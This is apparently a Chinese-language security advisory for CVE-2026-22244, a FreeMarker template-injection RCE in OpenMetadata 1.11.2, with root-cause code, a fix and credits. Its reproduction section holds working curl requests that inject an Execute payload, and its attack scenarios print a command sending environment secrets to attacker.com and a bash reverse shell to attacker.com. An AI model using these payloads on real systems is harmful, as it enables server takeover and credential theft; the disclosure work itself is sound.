漏洞描述
OpenMetadata在版本1.11.2中存在一个远程代码执行漏洞,该漏洞源于其FreeMarker邮件模板中的服务端模板注入问题。
漏洞细节
- 根本原因
文件位置:openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
第35-45行存在不安全的FreeMarker模板实例化代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public Template getTemplate(String templateName) throws IOException {
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate(); // ← 来自数据库的用户控制内容
if (nullOrEmpty(template)) {
throw new IOException("Template content not found for template: " + templateName);
}
return new Template(
templateName,
new StringReader(template), // ← 渲染不受信任的模板
new Configuration(Configuration.VERSION_2_3_31)); // ← 不安全:无安全限制!
}
|
缺失的安全控制:
- ❌ 未设置
setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - 允许任意类实例化
- ❌ 未设置
setAPIBuiltinEnabled(false) - 启用了反射的?api内置功能
- ❌ 无输入验证 - 模板内容未经清理
- 攻击向量(已验证)
步骤1: 攻击者使用管理员角色通过PATCH端点修改EmailTemplate
1
2
3
4
5
6
7
8
9
10
11
|
PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
}
]
|
步骤2: 恶意模板存储在MySQL数据库中:
1
2
3
4
5
|
SELECT name, JSON_EXTRACT(json, '$.data.template')
FROM docstore
WHERE name = 'account-activity-change';
-- 返回:<#assign ex=\"freemarker.template.utility.Execute\"?new()>...
|
步骤3: 通过电子邮件通知触发模板渲染:
- 密码更改
- 用户邀请
- 账户活动通知
- 测试邮件(如果配置了SMTP)
步骤4: 在DefaultTemplateProvider.getTemplate()中执行RCE:
1
2
|
Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← 命令在此处以服务器用户身份执行!
|
漏洞验证
环境:
- 版本:OpenMetadata 1.11.2(最新版)
- 平台:Docker Compose(MySQL 8.0 + Elasticsearch 8.11.4)
- 测试日期:2025年12月15日
分步复现:
- 部署OpenMetadata 1.11.2
1
2
|
cd docker
./run_local_docker.sh -m no-ui -d mysql
|
结果:✅ OpenMetadata运行在localhost:8585
- 获取管理员JWT令牌
1
2
3
4
5
6
7
|
export NO_PROXY=localhost,127.0.0.1
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
-H "Content-Type: application/json" \
-d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \
| grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)
echo "Token: ${TOKEN:0:50}..."
|
结果:✅ 获取令牌(654个字符,1小时有效期)
- 识别目标模板
1
2
3
4
|
# 获取testMail模板ID(由测试邮件端点使用)
curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.data[] | select(.name=="testMail") | .id'
|
结果:✅ 模板ID:855f58c6-1b80-467a-b92e-71c425e9bfdb
- 注入RCE负载
1
2
3
4
5
6
7
8
|
curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
-H "Content-Type: application/json-patch+json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
}]'
|
结果:✅ HTTP 200 OK - 模板修改成功
- 设置SMTP服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
# 启动MailDev SMTP服务器(捕获邮件进行验证)
docker run -d --name fakesmtp \
--network linhln31_default \
-p 1025:1025 -p 1080:1080 \
maildev/maildev:latest
# 更新OpenMetadata SMTP配置
docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \
-Dopenmetadata_db -e "UPDATE openmetadata_settings
SET json=JSON_SET(json,
'$.serverEndpoint', 'fakesmtp',
'$.serverPort', 1025,
'$.transportationStrategy', 'SMTP',
'$.enableSmtpServer', true,
'$.senderMail', 'noreply@openmetadata.org'
)
WHERE configType='emailConfiguration';"
# 重启OpenMetadata以加载新的SMTP配置
docker restart om_server
sleep 50 # 等待服务器启动
|
结果:✅ SMTP服务器在fakesmtp:1025准备就绪
- 触发RCE执行
1
2
3
4
|
curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"email":"test@test.com"}'
|
结果:✅ HTTP 200 OK - “测试邮件发送成功。”
- 验证RCE执行
1
2
|
# 检查MailDev中的邮件内容
docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10
|
结果:✅ RCE已确认!
攻击场景
场景1:权限提升
- 攻击者获取管理员账户
- 在密码重置模板中注入RCE负载
- 为目标用户触发密码重置
- RCE在邮件渲染期间以OpenMetadata服务器用户身份执行
- 攻击者获得应用服务器的shell访问权限
场景2:数据泄露
1
2
|
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}
|
泄露包含以下内容的环境变量:
- 数据库凭证
- API密钥和秘密
- JWT签名密钥
- 云提供商凭证
场景3:反向shell
1
2
|
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}
|
建立持久访问以进行:
- 交互式命令执行
- 横向移动到连接的系统
- 直接访问数据库
- Kubernetes集群危害(如果是容器化部署)
影响评估
技术影响:
- 机密性:高 - 访问数据库凭证、API密钥、秘密
- 完整性:高 - 完全控制OpenMetadata应用和数据
- 可用性:高 - 能够崩溃应用、删除数据、拒绝服务
业务影响:
- 数据泄露:访问所有元数据,包括敏感模式信息、PII映射、数据沿袭
- 合规性:如果被利用,可能违反GDPR、SOC2、HIPAA
- 声誉:数据治理平台中的严重安全故障
- 供应链:可能横向移动到连接的数据源(70多个连接器)
CVSS 3.1评分
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
评分:9.1(严重)
修复方案
立即修复(关键)
文件:openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
将第38-42行替换为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
public Template getTemplate(String templateName) throws IOException {
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate();
if (nullOrEmpty(template)) {
throw new IOException("Template content not found for template: " + templateName);
}
// 安全修复:创建沙盒化的FreeMarker配置
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// 阻止危险的内置功能
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
cfg.setClassicCompatible(false);
// 限制模板加载
cfg.setTemplateLoader(new StringTemplateLoader());
return new Template(templateName, new StringReader(template), cfg);
}
|
参考
CVE ID
CVE-2026-22244
GHSA ID
GHSA-5f29-2333-h9c7
来源
open-metadata/OpenMetadata
贡献者
- lnlinh31(报告者)
- manerow(修复开发者)
- TeddyCr(修复审核者)
- pmbrull(修复验证者)